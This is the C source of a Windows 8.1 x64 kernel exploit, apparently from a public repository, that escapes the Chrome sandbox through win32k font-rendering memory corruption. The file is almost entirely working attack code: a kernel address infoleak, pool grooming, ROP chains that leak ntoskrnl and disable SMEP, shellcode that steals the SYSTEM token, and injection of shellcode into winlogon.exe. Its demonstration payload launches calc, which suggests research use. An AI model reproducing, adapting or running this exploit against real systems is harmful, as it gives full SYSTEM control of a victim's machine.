Permalink
Switch branches/tags
Nothing to show
Find file
Fetching contributors…
Cannot retrieve contributors at this time
executable file 478 lines (422 sloc) 25.5 KB
// Memory corruption leading to privilege escalation on Windows 8.1 x64.
//
// This is the complete exploit whose function is to escape the chrome sandbox
// using a kernel bug, and ultimately spawn a visible calc with SYSTEM
// privileges under winlogon.exe.
//
// This exploit is written to be position independent as the Chrome sandbox
// restricts calls to `LoadLibrary`. Writing the exploit in a normal fashion
// would fail when loaded in the targets memory because the exploit would then
// require a properly initialized IAT in order to call external functions. It
// is not done as LoadLibrary is blocked. PIC code avoids this problem
// completely.
//
// This exploit is based off a template for writing shellcode, taken from:
// http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html
//
// This exploit was tested using Visual Studio 2013 Express, compiled for x64.
//
#pragma warning( disable : 4047 ) // Disable warning about 'different levels of indirection'
#pragma warning( disable : 4055 ) // Ignore cast warnings
#pragma warning( disable : 4100 ) // Disable warning about 'unreferenced formal parameter'
#pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union'
#pragma warning( disable : 4716 ) // Disable warning about function needing to return a value
#include <windows.h>
#include "GetProcAddressWithHash.h"
#include "64BitHelper.h"
#include "FunctionSignatures.h"
#include "FontData.h"
#define INFOLEAK_BUFFER 0x40000000
#define DCOM_ARRAY_BASE 0x41000000
#define PAYLOAD_BASE 0x42000000
#define ACCEL_ARRAY_BASE 0x43000000
#define HWND_ARRAY_BASE 0x44000000
// WndProc is a callback function that is needed when creating a window.
// It does nothing of consequence. However, the exploit relies on overriding
// a suitable object (`CreateDCompositionHwndTarget`), which requires a
// window. Hence we need to create windows.
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
FuncDefWindowProcA MyDefWindowProcA;
ULONGLONG pMyDefWindowProcA;
pMyDefWindowProcA = *(ULONGLONG *)(PAYLOAD_BASE + 0x1950);
MyDefWindowProcA = (FuncDefWindowProcA) pMyDefWindowProcA;
return MyDefWindowProcA(hwnd, msg, wParam, lParam);
}
// create_remote_process is run after we have privilege elevated (to SYSTEM).
// We use this function to spawn calc.exe in order to have a visual indicator
// that the exploit has succeeded.
void create_remote_process() {
// Declaring functions that we want to use (see FunctionSignatures.h).
FuncOpenProcess MyOpenProcess;
FuncVirtualAllocEx MyVirtualAllocEx;
FuncWriteProcessMemory MyWriteProcessMemory;
FuncCreateRemoteThread MyCreateRemoteThread;
HANDLE hWinLogon;
LPVOID pMem;
DWORD winlogon_pid;
// Shellcode that pops calc. Taken from Skyline's w64-exec-calc-shellcode-clean-func.
char shellcode[] = {
'\x50', '\x51', '\x52', '\x53', '\x56', '\x57', '\x55', '\x6A', '\x60',
'\x5A', '\x68', '\x63', '\x61', '\x6C', '\x63', '\x54', '\x59', '\x48',
'\x83', '\xEC', '\x28', '\x65', '\x48', '\x8B', '\x32', '\x48', '\x8B',
'\x76', '\x18', '\x48', '\x8B', '\x76', '\x10', '\x48', '\xAD', '\x48',
'\x8B', '\x30', '\x48', '\x8B', '\x7E', '\x30', '\x03', '\x57', '\x3C',
'\x8B', '\x5C', '\x17', '\x28', '\x8B', '\x74', '\x1F', '\x20', '\x48',
'\x01', '\xFE', '\x8B', '\x54', '\x1F', '\x24', '\x0F', '\xB7', '\x2C',
'\x17', '\x8D', '\x52', '\x02', '\xAD', '\x81', '\x3C', '\x07', '\x57',
'\x69', '\x6E', '\x45', '\x75', '\xEF', '\x8B', '\x74', '\x1F', '\x1C',
'\x48', '\x01', '\xFE', '\x8B', '\x34', '\xAE', '\x48', '\x01', '\xF7',
'\x99', '\xFF', '\xD7', '\x48', '\x83', '\xC4', '\x30', '\x5D', '\x5F',
'\x5E', '\x5B', '\x5A', '\x59', '\x58', '\xC3', 0
};
// Get function addresses.
//
// GetProcAddressWithHash uses a dictionary of function hashes, and iterates
// through to find the function with that particular hash. For details, see
// `GetProcAddressWithHash.h`.
MyOpenProcess = (FuncOpenProcess)GetProcAddressWithHash(0x50B695EE);
MyVirtualAllocEx = (FuncVirtualAllocEx)GetProcAddressWithHash(0x3F9287AE);
MyWriteProcessMemory = (FuncWriteProcessMemory)GetProcAddressWithHash(0xE7BDD8C5);
MyCreateRemoteThread = (FuncCreateRemoteThread)GetProcAddressWithHash(0x799AACC6);
// Create remote thread in winlogon and execute shellcode.
winlogon_pid = *(DWORD *)(PAYLOAD_BASE + 0x1000);
hWinLogon = MyOpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogon_pid);
pMem = MyVirtualAllocEx(hWinLogon, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
MyWriteProcessMemory(hWinLogon, pMem, shellcode, 0x69, 0);
MyCreateRemoteThread(hWinLogon, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
return;
}
// Leak the base address of `win32k.sys`. This infoleak is slightly different from
// the standalone infoleak because we need to handle the position-independent nature
// of this exploit.
ULONGLONG win32k_infoleak() {
// Declaring functions that we want to use (see FunctionSignatures.h).
FuncCreateCompatibleDC MyCreateCompatibleDC;
FuncDeleteDC MyDeleteDC;
ULONGLONG win32k_base_addr = 0;
HDC hdc;
// Get function addresses.
MyCreateCompatibleDC = (FuncCreateCompatibleDC)GetProcAddressWithHash(0xA5314068);
MyDeleteDC = (FuncDeleteDC)GetProcAddressWithHash(0x63B566A2);
hdc = MyCreateCompatibleDC(NULL);
if (hdc == NULL) {
return NULL;
}
// Leak the address and retrieve it from `buffer`.
MyGetTextMetricsW(hdc, INFOLEAK_BUFFER);
DWORD hi = *(DWORD *)(INFOLEAK_BUFFER + 0x38 + 4); // High DWORD of leaked address
DWORD lo = *(DWORD *)(INFOLEAK_BUFFER + 0x38); // Low DWORD of leaked address
// Check: High DWORD should be a kernel-mode address (i.e.
// 0xffff0800`00000000). We make the check stricter by checking for a
// subset of kernel-mode addresses.
if ((hi & 0xfffff000) != 0xfffff000) {
return NULL;
}
// Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using
// the following computation.
win32k_base_addr = ((ULONGLONG)hi << 32) | lo;
// Adjust for offset to get base address of `win32k.sys`.
win32k_base_addr -= 0x0003cf00;
// Check: Base address of `win32k.sys` should be of the form
// 0xFFFFFxxx`00xxx000.
if ((win32k_base_addr & 0xff000fff) != 0) {
return NULL;
}
MyDeleteDC(hdc);
return win32k_base_addr;
}
// The "main" function.
//
// Normally, we would call this "main" but if you call a function "main", `link.exe`
// requires that you link against the CRT. Rather, we pass a linker option of
// "/ENTRY:ExecutePayload" in order to get around this issue.
VOID ExecutePayload(VOID) {
// Declaring functions that we want to use (see FunctionSignatures.h).
FuncCreateDCompositionHwndTarget MyCreateDCompositionHwndTarget;
FuncDestroyDCompositionHwndTarget MyDestroyDCompositionHwndTarget;
FuncVirtualAlloc MyVirtualAlloc;
Funcmemcpy Mymemcpy;
Funcmalloc Mymalloc;
FuncGetModuleHandleA MyGetModuleHandleA;
FuncCreateAcceleratorTableA MyCreateAcceleratorTableA;
FuncDestroyAcceleratorTable MyDestroyAcceleratorTable;
FuncRegisterClassExA MyRegisterClassExA;
FuncCreateWindowExA MyCreateWindowExA;
FuncDestroyWindow MyDestroyWindow;
FuncwsprintfA MywsprintfA;
// Variables.
int i;
HWND hWnd;
HWND *pHwnds;
HACCEL hAccel;
HACCEL *pAccels;
LPACCEL lpAccel;
ATOM class_atom;
WNDCLASSEXA window_class;
HINSTANCE hThisInstance;
ULONGLONG *pDefWindowProcA;
DWORD cFonts;
PVOID pFont_data;
ULONGLONG nt_base_addr;
ULONGLONG win32k_base_addr;
DWORD ExAllocatePoolWithTag_offset;
// Strings must be treated as a `char` array in order to prevent them from
// being stored in an `.rdata` section. In order to maintain position-
// independence, all data must be stored in the same section.
//
// Thanks to Nick Harbour for coming up with this technique:
// http://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/
// Shellcode.
//
// Shellcode that steals the kernel token, and stores the winlogon.exe PID for
// use by create_remote_process(). It also deletes the corrupted object after
// that.
char sc[] = {
'\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack
'\x41', '\x51', // push r9 save regs
'\x41', '\x52', // push r10
'\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB)
'\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD
'\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess
'\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink
'\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS
'\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon)
'\x75', '\xe5', // jnz $a no? then keep searching!
'\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid
'\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x42001000
'\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later
'\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token
'\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address
'\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10
'\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token
'\x41', '\x5A', // pop r10 restore regs
'\x41', '\x59', // pop r9
'\x41', '\x53', // push r11, pointer near to original stack
'\x5C', // pop rsp
'\x48', '\x81', '\xC4', '\x68', '\x01', '\x00', '\x00', // add rsp, 0x168, restore original kernel rsp
'\x4C', '\x89', '\x3C', '\x24', // mov [rsp], r15, restore original return address
'\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void)
0
};
//
// --- End shellcode ---
// Strings needed.
char winclass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 };
char winclassfmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 };
char wintitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 };
char wintitlefmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 };
// Get function addresses.
MyCreateDCompositionHwndTarget = (FuncCreateDCompositionHwndTarget)GetProcAddressWithHash(0x2DE8894F);
MyDestroyDCompositionHwndTarget = (FuncDestroyDCompositionHwndTarget)GetProcAddressWithHash(0xBA8C6651);
MyVirtualAlloc = (FuncVirtualAlloc)GetProcAddressWithHash(0xE553A458);
Mymemcpy = (Funcmemcpy)GetProcAddressWithHash(0x6D538D92);
Mymalloc = (Funcmalloc)GetProcAddressWithHash(0x7EA37D50);
MyGetModuleHandleA = (FuncGetModuleHandleA)GetProcAddressWithHash(0xDAD5B06C);
MyCreateAcceleratorTableA = (FuncCreateAcceleratorTableA)GetProcAddressWithHash(0xC58E8ED4);
MyDestroyAcceleratorTable = (FuncDestroyAcceleratorTable)GetProcAddressWithHash(0xA710DE2F);
MyRegisterClassExA = (FuncRegisterClassExA)GetProcAddressWithHash(0x58632FE8);
MyCreateWindowExA = (FuncCreateWindowExA)GetProcAddressWithHash(0x3C1CC302);
MyDestroyWindow = (FuncDestroyWindow)GetProcAddressWithHash(0xD115425A);
MywsprintfA = (FuncwsprintfA)GetProcAddressWithHash(0xD0EB608D);
// Allocate memory regions that we use to store various data.
MyVirtualAlloc((LPVOID)INFOLEAK_BUFFER, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
MyVirtualAlloc((LPVOID)DCOM_ARRAY_BASE, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
MyVirtualAlloc((LPVOID)PAYLOAD_BASE, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SecureZeroMemory((LPVOID)PAYLOAD_BASE, 0x10000);
Mymemcpy((LPVOID)PAYLOAD_BASE, sc, sizeof(sc));
// Save the function pointer of DefWindowProcA globally while we are still in user-mode.
// The callback (WndProc) that runs in kernel mode later cannot call `GetProcAddressWithHash`
// any more. Hence, we store this first, so that WndProc can access it directly later.
pDefWindowProcA = (ULONGLONG *)(PAYLOAD_BASE + 0x1950);
*pDefWindowProcA = (ULONGLONG)GetProcAddressWithHash(0xA42CD322); // ntdll's DefWindowProcA's hash
// Leak the base address.
win32k_base_addr = win32k_infoleak();
if (win32k_base_addr == NULL) {
return;
}
// Stack pivot and adjustment.
//
// IMPORTANT NOTE.
//
// This vTable is actually accessed twice as part of the code flow.
// The first access is to the 2nd method in the vTable, at [RAX+8] (*).
// The second access is to the 1st method in the vTable, at [RAX] (**).
//
// (*) First access
//
// As mentioned, in the code flow, there is a CALL [RAX+8], where RAX is the
// address of the fake vTable (0x42005000).
//
// The call places us at [0x42005000+8], which is the xchg instruction
// (stack pivot). At this point after the xchg, RSP is pointing to 0x42005000.
// The next instruction of the gadget is RET, which will exec. POP RAX.
// This sequence (RET + POP) shifts RSP by a total of 16 bytes, which is the
// start of ROP chain 1.
//
*(ULONGLONG *)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x19fab; // pop rax # ret <-- RAX
*(ULONGLONG *)(PAYLOAD_BASE + 0x5008) = win32k_base_addr + 0x6121; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to.
//
// --- End stack pivot and adjustment ---
// ROP chain 1: Retrieve base address of `ntoskrnl`.
//
// When ROP chain 1 exits, RBX will hold the address of the our
// (fake) vTable. And 0x42000100 will hold the (leaked) address of
// `ntoskrnl!ExAllocatePoolWithTag`.
//
*(ULONGLONG *)(PAYLOAD_BASE + 0x5010) = win32k_base_addr + 0x19fab; // pop rax # ret (RAX is source for our write)
*(ULONGLONG *)(PAYLOAD_BASE + 0x5018) = win32k_base_addr + 0x352220; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports)
*(ULONGLONG *)(PAYLOAD_BASE + 0x5020) = win32k_base_addr + 0x98156; // pop rcx # ret (RCX is destination for our write)
*(ULONGLONG *)(PAYLOAD_BASE + 0x5028) = PAYLOAD_BASE + 0x100; // pop into rcx (memory to write leaked address)
*(ULONGLONG *)(PAYLOAD_BASE + 0x5030) = win32k_base_addr + 0xc432f; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX])
// (**) Second access
//
// The second time the vTable is accessed (described above), it will
// try to execute `POP RAX # RET`, which is undesirable. Hence, as part of
// the *first* ROP chain, we override the vTable again, so that the second
// access to it will be okay.
//
// When the code flow resumes after ROP chain 1 ends, the code will
// use *RBX for its second access to the vTable. Hence, we want to
// place our own value into RBX. Therefore, we `POP RBX`, which places
// 0x42005100 into RBX. 0x42005100 is yet another (unused) memory
// region that we control. We will construct a new fake vTable at 0x42005100.
//
*(ULONGLONG *)(PAYLOAD_BASE + 0x5038) = win32k_base_addr + 0x14db; // pop rbx # ret
*(ULONGLONG *)(PAYLOAD_BASE + 0x5040) = PAYLOAD_BASE + 0x5100; // this will clobber the existing vTable object pointer (RBX) ---------------------
// |
// Setup the new fake vTable at 0x42005100. We don't do anything interesting |
// with the second call. We just want it to return nicely. |
*(ULONGLONG *)(PAYLOAD_BASE + 0x5100) = PAYLOAD_BASE + 0x5110; // double-dereference to get to gadget (actual ROP chain |
*(ULONGLONG *)(PAYLOAD_BASE + 0x5108) = PAYLOAD_BASE + 0x5110; // (arbitrary pointer to pointer) continues here) |
*(ULONGLONG *)(PAYLOAD_BASE + 0x5110) = win32k_base_addr + 0x6e314; // (`RET` gadget) |
// |
// Resume execution. Restore original stack pointer. |
*(ULONGLONG *)(PAYLOAD_BASE + 0x5048) = win32k_base_addr + 0x7018e; // mov rax, r11 # ret (register holding a value close to original stack pointer) <-
*(ULONGLONG *)(PAYLOAD_BASE + 0x5050) = win32k_base_addr + 0x98156; // pop rcx # ret
*(ULONGLONG *)(PAYLOAD_BASE + 0x5058) = 0x8; // pop into rcx
*(ULONGLONG *)(PAYLOAD_BASE + 0x5060) = win32k_base_addr + 0xee38f; // add rax, rcx # ret (adjust the stack pointer)
*(ULONGLONG *)(PAYLOAD_BASE + 0x5068) = win32k_base_addr + 0x1f8c1; // push rax # sub eax, 8b480020h # pop rsp # and al, 8 # mov rdi, qword ptr [rsp+10] # mov eax, edx # ret
//
// --- END ROP chain 1 ---
// Initial setup for pool fengshui.
lpAccel = (LPACCEL)Mymalloc(sizeof(ACCEL));
SecureZeroMemory(lpAccel, sizeof(ACCEL));
// Create many accelerator tables, and store them.
pAccels = (HACCEL *)MyVirtualAlloc((LPVOID)(ACCEL_ARRAY_BASE), sizeof(HACCEL) * 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
for (i = 0; i < 5000; i++) {
hAccel = MyCreateAcceleratorTableA(lpAccel, 1);
pAccels[i] = hAccel;
}
// Create window handles, and store them.
pHwnds = (HWND *)MyVirtualAlloc((LPVOID)(HWND_ARRAY_BASE), sizeof(HWND) * 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
hThisInstance = MyGetModuleHandleA(NULL);
for (i = 0; i < 1000; i++) {
SecureZeroMemory(&window_class, sizeof(WNDCLASSEXA));
MywsprintfA(winclass, winclassfmt, i);
MywsprintfA(wintitle, wintitlefmt, i);
window_class.cbSize = sizeof(WNDCLASSEXA);
window_class.style = CS_HREDRAW | CS_VREDRAW;
window_class.lpfnWndProc = (WNDPROC)WndProc;
window_class.hInstance = hThisInstance;
window_class.hIcon = NULL;
window_class.hCursor = NULL;
window_class.hbrBackground = (HBRUSH)COLOR_WINDOW;
window_class.lpszMenuName = NULL;
window_class.lpszClassName = winclass;
class_atom = MyRegisterClassExA(&window_class);
hWnd = MyCreateWindowExA(0, MAKEINTATOM(class_atom), wintitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL);
// We try to create as many window handles as possible, up to 1,000.
if (hWnd) {
pHwnds[i] = hWnd;
} else {
break;
}
}
// Create holes in the series of accelerator tables.
for (i = 3600; i < 4600; i += 2) {
MyDestroyAcceleratorTable(pAccels[i]);
}
// Fill the holes with with DCompositionHwndTarget(s).
// (at this point we have a series of alternating DCompositionHwndTarget objects)
for (int i = 0; i < 500; i++) {
MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);
}
// Create "adjacent" holes (to the previous holes) in the series of
// accelerator tables.
for (int i = 3601; i < 4601; i += 2) {
MyDestroyAcceleratorTable(pAccels[i]);
}
// Fill the holes with with DCompositionHwndTarget(s).
// (at this point we have a contiguous series of DCompositionHwndTarget objects)
for (int i = 500; i < 1000; i++) {
MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);
}
// Create some holes in the contiguous series of DCompositionHwndTarget objects,
// that we insert the vulnerable object into.
for (int i = 400; i < 405; i++) {
MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
}
// 0xFEFE are placeholder bytes for the offset to the malformed font data.
// As explained in the file comments above, the `assemble-pic-exploit.py`
// script will calculate the correct offset to the font data and patch over
// these bytes.
pFont_data = (ULONGLONG)ExecutePayload + 0xFEFE;
// Trigger the memory corruption: Render the font and cause memory overwrite.
cFonts = 0;
HANDLE fh = MyAddFontMemResourceEx(pFont_data, sizeof(font_data), 0, &cFonts);
// Clean up: remove the font from memory.
MyRemoveFontMemResourceEx(fh);
// First trigger (ROP chain 1)
//
// When `DestroyDCompositionHwndTarget` is called, it will destroy the object
// by calling its destructor, which will make use of the overwritten vTable
// pointer. This, we abuse, to call ROP chain 1. ROP chain 1 leaks the address
// of `ntoskrnl!ExAllocatePoolWithTag`.
for (int i = 0; i < 1000; i++) {
MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
}
// Compute actual base address of `ntoskrnl` from `ntoskrnl!ExAllocatePoolWithTag`.
ExAllocatePoolWithTag_offset = 0x2a3a50;
nt_base_addr = *(ULONGLONG *)(PAYLOAD_BASE + 0x100) - ExAllocatePoolWithTag_offset;
// ROP chain 2: Disable SMEP and return to token stealing shellcode.
//
// Now we reset the values in our fake vTable (0x42005000), with a new
// ROP chain. This gets called later in the second trigger.
*(ULONGLONG *)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x189a3a; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret
*(ULONGLONG *)(PAYLOAD_BASE + 0x5008) = 0x41414141; // filler
*(ULONGLONG *)(PAYLOAD_BASE + 0x5010) = 0x41414141; // filler
*(ULONGLONG *)(PAYLOAD_BASE + 0x5018) = 0x41414141; // filler
*(ULONGLONG *)(PAYLOAD_BASE + 0x5020) = 0x41414141; // filler
*(ULONGLONG *)(PAYLOAD_BASE + 0x5028) = win32k_base_addr + 0x19fab; // pop rax # ret
*(ULONGLONG *)(PAYLOAD_BASE + 0x5030) = 0x406f8; // pop into rax, cr4 value
*(ULONGLONG *)(PAYLOAD_BASE + 0x5038) = nt_base_addr + 0x38a3cc; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget)
*(ULONGLONG *)(PAYLOAD_BASE + 0x5040) = 0x41414141; // filler
*(ULONGLONG *)(PAYLOAD_BASE + 0x5048) = 0x41414141; // filler
*(ULONGLONG *)(PAYLOAD_BASE + 0x5050) = 0x41414141; // filler
*(ULONGLONG *)(PAYLOAD_BASE + 0x5058) = 0x41414141; // filler
*(ULONGLONG *)(PAYLOAD_BASE + 0x5060) = 0x41414141; // filler
*(ULONGLONG *)(PAYLOAD_BASE + 0x5068) = PAYLOAD_BASE; // return to userland and win!
*(ULONGLONG *)(PAYLOAD_BASE + 0x5070) = win32k_base_addr + 0x165010; // CHwndTargetProp::Delete(void)
//
// --- End ROP chain 2 ---
// Second trigger (ROP chain 2)
//
// When `DestroyWindow` is called, it will attempt to find any dangling
// references to the window. Because the "first trigger" did not properly
// destroy the `DCompositionHwndTarget` object (which has a reference to
// the window), `DestroyWindow` will try, again, to call the destructor
// for the `DCompositionHwndTarget` object. Hence, the same destructor is
// called. But because we have already re-setup the vTable, it calls
// ROP chain 2.
//
for (int i = 0; i < 1000; i++) {
MyDestroyWindow(pHwnds[i]);
}
// Clean up for the heap fengshui performed earlier
// (for cleanliness, reliability).
for (int i = 0; i < 5000; i++) {
MyDestroyAcceleratorTable(pAccels[i]);
}
// Pop calc.
create_remote_process();
}